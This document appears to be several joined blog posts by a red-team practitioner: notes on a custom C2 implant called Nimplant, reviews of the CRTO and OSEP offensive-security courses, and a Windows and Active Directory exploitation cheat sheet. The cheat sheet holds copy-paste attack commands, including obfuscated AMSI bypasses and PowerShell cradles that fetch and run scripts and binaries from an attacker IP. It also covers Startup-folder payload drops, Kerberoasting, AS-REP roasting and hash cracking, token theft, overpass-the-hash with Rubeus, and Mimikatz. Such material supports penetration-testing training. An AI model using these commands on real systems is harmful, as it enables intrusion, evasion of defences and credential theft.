As mentioned, the available functionality of Nimplant is limited to “benign” operating system features as much as possible. While this decreases the attack surface in a sense, it introduces some limitations for operators. If an operator wants to deploy a Cobalt Strike beacon from Nimplant, for example, they will have to resort to techniques that use this native functionality. This means that classic detections, focusing on for example the filesystem and registry, work well here.

If you get a hold of a Nimplant binary in some way, it will also carry some indicators. It will obviously point to Nim being used as a programming language, but that’s not an indicator on its own. What’s more interesting is the function names and (potential) imports in the binary. If you are lucky enough to get a memory dump of a running Nimplant process, try digging for the encryption key. Having this should allow you to prove beyond a shadow of a doubt that you’re dealing with something malicious…

Obviously I’m not a defender, so I probably missed a couple good detection points and pitfalls. If you have any additions (or improvements from an offensive perspective), please do let me know!

When open source?!

As mentioned above, I’m very much a fan of open-sourcing tools, including offensive tooling (within limits of reason, of course). Open-sourcing a tool such as Nimplant allows anyone to have a look at your code and potentially contribute to it. That’s a good thing, but it also increases the risk of defenders fingerprinting your code to create detections for it. As we still would like to make use of Nimplant in engagements where it isn’t immediately detected I am not open-sourcing the tool for the time being. Hopefully I’ll be able to do this somewhere in the future, once we got some good use out of it!

However, Nimplant is in no way new or ground-breaking, and the techniques it uses are all known. If you’re interested in tools like this, the resources are out there to start building your own. Not only does this work better for evading defenses, it provides a great learning experience and something to show on your resume. Obviously building your own C2 from scratch isn’t a necessity, extending or modifying an existing open-source framework or even playing with the several extension kits for Cobalt Strike can already bring great results.

If you’re stuck on any offensive (Nim) development project don’t hesitate to reach out, I’m always happy to help (given the purposes of your project are ethical - obviously). In the end, the most important things are to learn, have fun, and help your clients become more secure.

If you hang around the infosec “twittersphere” or in other security communities, odds are you have already seen someone share their experiences on the ‘Red Team Ops’ course by ZeroPointSecurity. I had heard a lot about this course prior to enrolling in it myself - almost exclusively consisting of positive reviews. The author of the course, RastaMouse, is quite a well-known figure in the infosec community. You may know him for his open-source tool contributions, such as Watson or ThreatCheck, or if you are a HackTheBox-enthusiast you may know him for the RastaLabs pro lab.

Needless to say, I was quite intrigued about this red teaming course provided by his company ZeroPointSecurity. I enrolled in it not too long after passing the OSEP certification, excited to further build my knowledge and tradecraft as a red team operator!

The Red Team Ops course is hosted on the ‘Canvas’ Learning Management System. It consists of roughly two parts: the course itself, which contains various modules with theory and lab exercises, and the exam. Both need to be completed with a satisfactory result for the student to attain the “Certified Red Team Operator” (CRTO) certification. Progress is managed through “Badgr Pathways” within the Canvas platform.

The Course

As mentioned, the course-side of the certification consists of a variety of modules, which contain the theoretical material of the course and lab exercises to test your understanding of the discussed subject matter. The figure above shows the 9 “main” modules, but these are only the modules that are graded through a lab exercise. At the time of writing, I counted 27 modules, each covering multiple subjects in varying levels of depth. The nice part about the course is that you get lifetime access to the materials, which are periodically updated by RastaMouse. As an example, the last update at the time of writing was mid-January, when a module on Kerberos Credential Cache was added to the course.

Let’s start with “the good” of the course materials. RTO felt like a very welcome break from other courses, in the sense that the materials are very informative, concrete, and focused on day-to-day tradecraft. All techniques are demonstrated with a C2 framework (either Covenant or Cobalt Strike if you have a license), giving you the means to immediately start applying these techniques in practice.

The modules cover a very broad range of interesting topics, such as the “standard” killchain (reconnaissance, initial access, lateral movement, etc.), Active Directory exploitation (ranging from basic to advanced techniques), credentials and password cracking, AppLocker, AV evasion, advanced proxying techniques, and much more. I think the power of the course lies in the diversity of course material, which really set you up with a solid foundation of proven tradecraft as well as a solid toolset, no matter your experience level before coming into the RTO course. On top of that, RastaMouse really knows what he is talking about which does show in the materials.

As with any course, there are also improvement points. My main issue with the course comes down to the same point that I listed as a ‘pro’ above - the course is quite focused on practical operations and tradecraft, so a lot of modules lack a clear background or explanation on the “why” of things. This means that the course will teach you quite some cool tricks, but it won’t always equip you with the knowledge to understand why or how exactly these tricks work. Luckily, some of the more important modules do a better job at this, so overall it’s not too much of a concern. I would however strongly advise people taking RTO to not take all the content at face value, and find some extra background to get a better grip on the “why, what, and how” of things. Luckily, RastaMouse gives you quite some references during the course to get you started with this.

The Labs

The labs are a key aspect of the course, and mostly function as a sandbox environment to practice techniques discussed during the course. The practical exercises that you are required to complete during the course all take place in the labs. Some exercises are quite straight-forward and mirror the techniques discussed in the theory, others require you to really get creative with the tools and techniques that have been discussed and apply some problem-solving skills of your own.

The labs are quite strictly firewalled and hardened, so simply compromising every machine with the DA password hash and dumping all the flags is out of the question. Some machines have multiple entry points for you to practice, others have been hardened to allow you to compromise them only through a specific technique.

Though you will see most of the labs as part of the course and exercises, I would recommend everyone to do a “clean run” after completing the exercises. There are for sure some parts of the lab that you can only discover on your own, which also gives you the opportunity get some more valuable practice in before your exam. 🙂

NEEDS MORE BACON pic.twitter.com/0Mu0UfLEYr

— Cas van Cooten (@chvancooten) May 15, 2021

I can think of very little improvement points regarding the labs. One of my primary objections is that initial access into the labs can be finnicky at times, and it cannot be bypassed once you already gained access. This is quite annoying if the lab has been reset and you just want to re-establish beacons, only to find that the phishes you sent earlier now stopped working due to infrastructure instability. Luckily, RastaMouse has confirmed that this is something that will be fixed in the next version of the course.

If you at any point get stuck during the exercises or labs, a Slack Workspace and Canvas forum are available. I found the Slack channels to be a helpful resource with RastaMouse being very active, and quite some other folk also hanging around and being helpful. There’s even a bot which auto-recognizes some error codes and tells you to migrate out of “Session 0” if you’re stuck there (if you know you know 😉).

The Exam

As per usual and for obvious reasons I cannot disclose too much about the setup or contents of the exam. In a general sense though, the exam fits the course quite well. It consists of four flags, of which you need to submit at least three to pass. You get 48 hours to submit your flags, which should in any case be plenty of time to take it easy and go through the exam labs at your own pace.

Truth be told, I was a bit disappointed at how easy the first three flags were in my version of the exam. The fourth flag however provided much more of a challenge and was a welcome change in pace from the others. It should be noted that the course is however marked as a beginner-level course, so I shouldn’t complain about the difficulty too much. Obviously, there is no shame in ‘only’ submitting three flags to pass the exam. However, based on my experience with the exam I would say that everyone who has prior red team operations experience (either working experience or through certs like OSEP) should really challenge themselves to try and submit all four flags - it’s definitely worth it!

So taking hacking exams with a slight fever (thanks Pfizer...) turns out not to be the best idea, but I made it! All four flags for the @zeropointsecltd CRTO certification exam submitted 😄

Very fun course and exam, especially the last flag was worth it. Blog post soon™! pic.twitter.com/kvJXnIXbvj

— Cas van Cooten (@chvancooten) July 1, 2021

The exam doesn’t require a report, which is a welcome break to some. I don’t mind reporting for exams myself, and honestly it should become routine to take good and report-worthy notes in any case. So, even if it’s not strictly required, my strong advice would be to challenge yourself to make a habit of keeping quality notes. If you need some inspiration, I discuss my technique for keeping quality notes and turning them into a report easily in this blog post.

Conclusion

The RTO course is the most practical red teaming course I have seen. Though it’s a little thin on providing in-depth explanation or theory in some modules, it really sets you up with a solid toolbox and knowledge of proven tradecraft that you can start applying straight away. The labs are very qualitative and really give you the opportunity to internalize what you’ve learnt, as well as the opportunity for further practice. The exam is a bit easy for more experienced red teamers, but getting all four flags is a fun challenge none the less. The course comes at a much lower price point than for example Offensive Security or SANS courses, especially considering that one or two months of lab time should be enough for most.

Overall, I would say that the course is worthwhile for almost all (aspiring) red teamers. If you already have a lot of red teaming experience the course will lose some value, but you will for sure learn a lot of new tricks and the exam can be a fun challenge nonetheless. I personally can’t wait to see what RastaMouse has in store for us with the future new rendition of this course (RTO2 when?!)!

Introduction

When Offensive Security announced the new PEN-300 course, also called “Evasion Techniques and Breaching Defenses”, the syllabus immediately intrigued me. The course promises to provide an advanced course, aimed at “OSCP-level penetration testers who want to develop their skills against hardened systems”, and discusses more advanced penetration testing topics such as antivirus evasion, process injection and migration, bypassing application whitelisting and network filters, Windows/Linux post-exploitation and lateral movement (hello Active Directory!).

The course materials state that PEN-300 is a course focused at advanced penetration testing and explicitly not red teaming. However, I do believe that the discussed materials will provide a great foundation for pentesters and red teamers alike. Though more advanced topics such as EDR evasion are not discussed, the materials do focus on evading most common detection measures and operate in highly restrictive environments.

When I saw the first positive reviews of the PEN-300 course rolling in, it didn’t take me long to enroll in the course. I ordered the 90 days package, since I took the course next to my full-time day job. Unless you can dedicate a lot of time I would probably advise most to do the same, even though it is possible to complete the full course materials and labs in way less time (I completed both in about six weeks). Do note that I completed the course during a Covid-lockdown, which gave me a bit more free time and flexibility in the evenings and weekends. 🙂

Officially passed the 48h certification exam! Y'all may now call me OSEP🥳

Blog post soon-ish (hopefully) pic.twitter.com/SBqHP5MiXS

— Cas van Cooten (@chvancooten) March 25, 2021

As always - if you have any questions about the course that are unanswered in this post, please do hit me up on Twitter. I’ll gladly discuss any questions you may have (except specific questions on the exam, duh) and will add them to this post if relevant.

The Theory & Exercises

In my opinion, the course materials and the accompanying exercises are where the course really shines. Though the course doesn’t discuss any ground-breaking new concepts or super-advanced techniques that you have never seen before, it does a great job at making you really understand the concepts required to be a better pentester and security researcher. Each chapter is paired with a dedicated lab environment, containing multiple machines (usually a Windows development machine and several target machines, containing specific software related to the chapter at hand). This makes it very easy to practice the theory discussed in the chapter in your own, dedicated, environment.

As with OSCP, the course offers the theory in both a 700-page PDF and approximately 19 hours of video. I found that I prefer going through the PDF at my own pace, interchanging that with the exercises. As such, I completely skipped over the videos. This is 100% personal preference though, as both media discuss the same materials.

The first part of the course goes over exploit development and AV evasion techniques, and has a strong focus on C# and PowerShell. Though I have relatively little experience programming in C#, the course really discusses the basic concepts well and also gives you the tools to go ‘above and beyond’ in building your own exploits. It’s very easy to follow along, and you will be writing relatively complex exploits (e.g. an AV-safe process hollowing shellcode runner) in no-time! I would highly recommend also completing the “extra mile” exercises in this chapter, as these are the ones that really challenge you to one-up on the course materials and build some exploits based on research of your own.

For reference, I have published the code snippets I created as part of the OSEP code below. With the exception of the Python shellcode generator and some extra functionality I added here and there, you are guided through building all of these during the course. I would like to note explicitly that the purpose of me publishing this code is not for anyone to copy-paste it - I merely want to provide a reference of what you will be capable of doing after following the course in advance!

Another part I particularly enjoyed were the chapters “Advanced Antivirus Evasion” and “Application Whitelisting”. Both of these chapters discuss relatively simple concepts (AMSI bypasses and AppLocker bypasses, respectively), but dedicate a sizeable chunk to going through the process of finding and building your own bypasses by means of security research. For AMSI bypasses, this includes API hooking to identify the functions used, manually patching said functions to disrupt the expected result, and subsequently building an automated exploit. For the AppLocker bypass, this includes reverse-engineering a Microsoft-signed binary from start to finish to find a function that compiles and executes provided source code to execute arbitrary code in restricted environments. By going through these processes in detail, OffSec really aims to give you the tools and mindset to become a better security researcher in the long run. And that shows!

Two chapters that felt a bit out of place in the course were the chapters “Bypassing Network Filters” and “Kiosk Breakouts”. The former discusses some interesting concepts (such as domain fronting), but it feels rushed, the exercises don’t really teach you anything, and the lessons learnt don’t really come back in the other chapters or the challenge labs. The kiosk breakout chapter is good fun and contains some nice exercises, but it discusses a really specific use case that you won’t likely ever see in practice.

In the second part of the course there are two chapters discussing Linux post-exploitation and lateral movement. These chapters cover some interesting concepts such as AV evasion on Linux (easiest ever), some basic C development, and CI/CD or Ansible exploitation. However, they are way overshadowed by the focus on Windows / Active Directory in later chapters. These chapters contain a lot of relevant materials regarding domain/forest exploitation and lateral movement (including MSSQL exploitation). Though I already completed the CRTP and CRTE courses by AlteredSecurity which discuss largely the same concepts, I found that OffSec again does a good job of explaining in-depth the details you need to know. This helped me better understand some foundational concepts, such as the exact difference between the three types of delegation that exist in Microsoft’s implementation of Kerberos. Though the exercises in these chapters take less effort than the ones in the first part of the course, I would definitely recommend giving them enough attention since these topics will be well-represented in the challenge labs (and likely the exam).

Since I already had a cheat sheet on Windows and Active Directory exploitation from CRTP/CRTE, I decided to enrich this with the tradecraft and nuances discussed in OSEP. As such, it may be a good help when you get stuck exploiting AD in OSEP now as well! If you haven’t seen it, you can find that cheat sheet here: Windows & Active Directory Exploitation Cheat Sheet and Command Reference.

The Challenge Labs

There are six challenge labs accompanying the course, each consisting of multiple target machines (up to 10 per lab!) and your trusty Windows development box. Some labs have a specific “theme” related to the various chapters in the theory, others are more generic and force you to combine all the pieces of what you have learnt. One big advantage compared to the OSCP labs is that all of these challenge lab environments are dedicated for you and as such can not be messed up by other people following the course.

The quality of the labs is really high, and some force you to combine some complex topics to progress. This makes the labs excellent practice for the exam. I would strongly recommend you to save all the additional exploits developed for the challenge labs, as those will definitely come in useful at a later point. 😏

That being said, I think the course could do with more challenge labs. I was able to complete all the labs in under two weeks, which is just too little if you compare it to the amount of course materials discussed. Another downside is that the labs are fairly single-use and do not offer many “alternate paths”. You can go through them again for perfecting your techniques but you can never re-create the initial experience of figuring out what the hell you have to do to achieve your goals, unfortunately.

The Exam

For obvious reasons, I cannot go into too much details regarding the exam (and I will not answer questions about it in DMs, either). However, I do want to briefly discuss the overall experience of the exam as I thoroughly enjoyed it. The exam setup is quite different from other certification exams, and focuses on attaining a (realistic) exam objective rather than “just getting DA”. The objective is represented by a file called secret.txt, and if you attain this objective you instantly satisfy the requirements for the practical side of the exam. You can also satisfy these requirements without getting to the objective, in this case you need to gather 100 points by submitting the OffSec-typical local.txt and proof.txt proof flags instead.

What I also like about the exam is that there are multiple distinct routes towards the objective. Each path has their own entry point and exploitation path all the way up to the objective. I was able to complete the first path and gain access to secret.txt in approximately 8 hours - including some 2 hours of delay because of a dumb (really dumb) oversight in my enumeration. Me being the completionist that I am, I wasn’t satisfied with that result and wanted to complete all the exploitation paths. Unfortunately, due to reasons I won’t disclose here, I was not able to do that and ended up giving up on 100% completion after several additional hours of failed exploitation efforts.

Of course, to get the OSEP certification you also have to submit an exam report within 24 hours of your exam end time. The requirements for the report are well-documented by OffSec in their OSEP exam guide. The report should contain reproducible steps, describing your exam exploitation shenanigans and proof files. After wrapping up the exam, I was able to generate my 70-page report in under two hours since I already documented my exploitation path really well as I went. I used Markdown templates similar to the ones I used for OSCP, and then compiled them into one master document and used Pandoc to generate a pretty report complete with syntax highlighting. If you are a fan of Markdown like I am, I would highly recommend this approach to reduce reporting effort and stress.

Conclusion

I really enjoyed the PEN-300 “Evasion Techniques and Breaching Defenses” course by Offensive Security. It offers great coverage of a variety of interesting topics, and succeeds in guiding you through most of them really well. It would have been nice if OffSec streamlined some of the less relevant chapters and added some content on more relevant topics such as EDR evasion as well, but I can see why they passed on that. The challenge lab environments are great, but quite a bit too short for the price point that the course comes at. I would have liked to spend another couple weeks just exploiting target environments as with OSCP, but instead finished all the labs in 2 weeks which was a bit disappointing. Luckily, the exam made up for that by providing a realistic, objective-focused, and challenging experience. Overall, I would definitely recommend the course for anyone looking to sharpen their advanced pen-testing tradecraft.

Updated November 3rd, 2021: Included several fixes and actualized some techniques. Changes made to the Defender evasion, RBCD, Domain Enumeration, Rubeus, and Mimikatz sections. Fixed some whoopsies as well 🙃.

Updated June 5th, 2021: I have made some more changes to this post based on (among others) techniques discussed in ZeroPointSecurity’s ‘Red Team Ops’ course (for the CRTO certification). I’ve re-written and improved many sections. New sections have been added on DPAPI and GPO abuse. Notable changes have been made to the the sections on LAPS, AppLocker & CLM, PowerView, and Overpass-the-Hash with Rubeus. Enjoy! :)

Updated March 26th, 2021: This blog post has been updated based on some tools and techniques from Offensive Security’s PEN-300 course (for the accompanying OSEP certification). Notable changes have been made in the sections on delegation, inter-forest exploitation, and lateral movement through MSSQL servers. Some other changes and clarifications have been made throughout the post.

Since I recently completed my CRTP and CRTE exams, I decided to compile a list of my most-used techniques and commands for Microsoft Windows and Active Directory (post-)exploitation. It is largely aimed at completing these two certifications, but should be useful in a lot of cases when dealing with Windows / AD exploitation.

That being said - it is far from an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from this list just get in touch. I will try to keep it updated as much as possible!

Many items of this list are shamelessly stolen from certification courses (that come highly recommended) that discuss Active Directory, such as CRTP, CRTE, OSEP, and CRTO. If you are looking for the cheat sheet and command reference I used for OSCP, please refer to this post.

Note: I tried to highlight some poor OpSec choices for typical red teaming engagements with 🚩. I will likely have missed some though, so make sure you understand what you are running before you run it!

General

PowerShell AMSI Bypass

Patching the Anti-Malware Scan Interface (AMSI) will help bypass AV warnings triggered when executing PowerShell scripts (or other AMSI-enabled content, such as JScript) that are marked as malicious. Do not use as-is in covert operations, as they will get flagged 🚩. Obfuscate, or even better, eliminate the need for an AMSI bypass altogether by altering your scripts to beat signature-based detection.

‘Plain’ AMSI bypass example:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Obfuscation example for copy-paste purposes:

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Another bypass, which is not detected by PowerShell autologging:

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

More bypasses here. For obfuscation, check Invoke-Obfuscation, or get a custom-generated obfuscated version at amsi.fail.

PowerShell one-liners

Load PowerShell script reflectively

Proxy-aware:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

Non-proxy aware:

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText

Again, this will likely get flagged 🚩. For opsec-safe download cradles, check out Invoke-CradleCrafter.

Load C# assembly reflectively

Ensure that the referenced class and main methods are public before running this. Note that a process-wide AMSI bypass may be required for this to work if the content is detected, refer here for details.

# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()

# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

Download file

# Any version
(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")

# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Rev.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe"

Encoded commands

Base64-encode a PowerShell command in the right format:

$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Or, the Linux version of the above:

echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0

Encode existing script, copy to clipboard:

[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\path\to\PowerView.ps1')) | clip

Run it, bypassing execution policy.

Powershell -EncodedCommand $encodedCommand

If you have Nishang handy, you can use Invoke-Encode.ps1.

Enumeration

AD Enumeration With PowerView

Though the below gives a good representation of the commands that usually come in most useful for me, this only scratches the surface of what PowerView can do. PowerView is available here.

# Get all users in the current domain
Get-DomainUser | select -ExpandProperty cn

# Get all computers in the current domain
Get-DomainComputer

# Get all domains in current forest
Get-ForestDomain

# Get domain/forest trusts
Get-DomainTrust
Get-ForestTrust

# Get information for the DA group
Get-DomainGroup "Domain Admins"

# Find members of the DA group
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername

# Find interesting shares in the domain, ignore default shares, and check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess

# Get OUs for current domain
Get-DomainOU -FullData

# Get computers in an OU
# %{} is a looping statement
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname

# Get GPOs applied to a specific OU
Get-DomainOU *WS* | select gplink
Get-DomainGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
Get-DomainGPOLocalGroup -ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers

# Get the computers where users are part of a local group through a GPO restricted group
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

# Find principals that can create new GPOs in the domain
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com" -ResolveGUIDs | ?{ $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier

# Find principals that can link GPOs to OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier

# Get incoming ACL for a specific object
Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

AppLocker

Identify the local AppLocker policy. Look for exempted binaries or paths to bypass.

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Get a remote AppLocker policy, based on the Distinguished Name of the respective Group Policy (you could identify this e.g. in BloodHound).

Get-AppLockerPolicy -Domain -LDAP "LDAP://targetdomain.com/CN={16641EA1-8DD3-4B33-A17F-9F259805B8FF},CN=Policies,CN=System,DC=targetdomain,DC=com"  | select -expandproperty RuleCollections

Some high-level bypass techniques:

• Use LOLBAS if only (Microsoft-)signed binaries are allowed.
• If binaries from C:\Windows are allowed (default behavior), try dropping your binaries to C:\Windows\Temp or C:\Windows\Tasks. If there are no writable subdirectories but writable files exist in this directory tree, write your file to an alternate data stream (e.g. a JScript script) and execute it from there.
• Wrap your binaries in a DLL file and execute them with rundll32 to bypass executable rules if DLL execution is not enforced (default behavior).
• If binaries like Python are allowed, use those. If that doesn’t work, try other techniques such as wrapping JScript in a HTA file or running XSL files with wmic.
• Otherwise elevate your privileges. AppLocker rules are most often not enforced for (local) administrative users.

PowerShell Constrained Language Mode

Sometimes you may find yourself in a PowerShell session that enforces Constrained Language Mode (CLM). This is often the case when you’re operating in an environment that enforces AppLocker (see above).

You can identify you’re in constrained language mode by polling the following variable to get the current language mode. It will say FullLanguage for an unrestricted session, and ConstrainedLanguage for CLM. There are other language modes which I will not go into here.

$ExecutionContext.SessionState.LanguageMode

The constraints posed by CLM will block many of your exploitations attempts as key functionality in PowerShell is blocked. Bypassing CLM is largely the same as bypassing AppLocker as discussed above. Another way of bypassing CLM is to bypass AppLocker to execute binaries that execute a custom PowerShell runspace (e.g. Stracciatella) which will be unconstrained.

Another quick and dirty bypass is to use in-line functions, which sometimes works. If e.g. whoami is blocked, try the following:

&{whoami}

LAPS

The Local Administrative Password Solution (LAPS) is Microsoft’s product for managing local admin passwords in the context of an Active Directory domain. It frequently generates strong and unique passwords for the local admin users of enrolled machines. This password property and its expiry time are then written to the computer object in Active Directory. Read access to LAPS passwords is only granted to Domain Admins by default, but often delegated to special groups.

The permission ReadLAPSPassword grants users or groups the ability to read the ms-Mcs-AdmPwd property and as such get the local admin password. You can look for this property using e.g. BloodHound or PowerView. We can also use PowerView to read the password, if we know that we have the right ReadLAPSPassword privilege to a machine.

Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd

We can also use LAPSToolkit.ps1 to identify which machines in the domain use LAPS, and which principals are allowed to read LAPS passwords. If we are in this group, we can get the current LAPS passwords using this tool as well.

# Get computers running LAPS, along with their passwords if we're allowed to read those
Get-LAPSComputers

# Get groups allowed to read LAPS passwords
Find-LAPSDelegatedGroups

Lateral Movement

Lateral Movement Enumeration With PowerView

# Find existing local admin access for user (noisy 🚩)
Find-LocalAdminAccess

# Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)
Find-DomainUserLocation -CheckAccess | ?{$_.LocalAdmin -Eq True }

# Look for kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname

# Look for AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name

# Look for interesting ACL within the domain, filtering on a specific user or group you have compromised
## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet
## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "UserOrGroupToQuery"}

# Look for servers with Unconstrained Delegation enabled
## If available and you have admin privs on this server, get user TGT (see below)
Get-DomainComputer -Unconstrained

# Look for users or computers with Constrained Delegation enabled
## If available and you have user/computer hash, access service machine as DA (see below)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

BloodHound

Use Invoke-BloodHound from SharpHound.ps1, or use SharpHound.exe. Both can be run reflectively, get them here. Examples below use the PowerShell variant but arguments are identical.

# Run all checks, including restricted groups enforced through the domain  🚩
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩
Invoke-BloodHound -CollectionMethod LoggedOn

For real engagements definitely look into the various arguments that BloodHound provides for more stealthy collection and exfiltration of data.

Kerberoasting

Automatic

With PowerView:

Get-DomainSPNTicket -SPN "MSSQLSvc/sqlserver.targetdomain.com"

Crack the hash with Hashcat:

hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Manual

# Request TGS for kerberoastable account (SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com"

# Dump TGS to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi

Targeted kerberoasting by setting SPN

We need have ACL write permissions to set UserAccountControl flags for the target user, see above for identification of interesting ACLs. Using PowerView:

Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'}

AS-REP roasting

Get the hash for a roastable user (see above for hunting). Using ASREPRoast.ps1:

Get-ASREPHash -UserName TargetUser

Crack the hash with Hashcat:

hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Targeted AS-REP roasting by disabling Kerberos pre-authentication

Again, we need ACL write permissions to set UserAccountControl flags for the target user. Using PowerView:

Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}

Token Manipulation

Tokens can be impersonated from other users with a session/running processes on the machine. Most C2 frameworks have functionality for this built-in (such as the ‘Steal Token’ functionality in Cobalt Strike).

Incognito

# Show tokens on the machine
.\incognito.exe list_tokens -u

# Start new process with token of a specific user
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe

If you’re using Meterpreter, you can use the built-in Incognito module with use incognito, the same commands are available.

Invoke-TokenManipulation

# Show all tokens on the machine
Invoke-TokenManipulation -ShowAll

# Show only unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate

# Start new process with token of a specific user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

# Start new process with token of another process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500

Lateral Movement with Rubeus

We can use Rubeus to execute a technique called “Overpass-the-Hash”. In this technique, instead of passing the hash directly (another technique known as Pass-the-Hash), we use the NTLM hash of an account to request a valid Kerberos ticket (TGT). We can then use this ticket to authenticate towards the domain as the target user.

# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 key (see 'Dumping OS credentials with Mimikatz' section)
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256KEY] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe

Once we have a TGT as the target user, we can use services as this user in a domain context, allowing us to move laterally.

Lateral Movement with Mimikatz

Note that Mimikatz is incredibly versatile and is discussed in multiple sections throughout this blog. Because of this, however, the binary is also very well-detected. If you need to run Mimikatz on your target (not recommended), executing a custom version reflectively is your best bet. There are also options such as Invoke-MimiKatz or Safetykatz. Note that the latter is more stealthy but does not include all functionality.

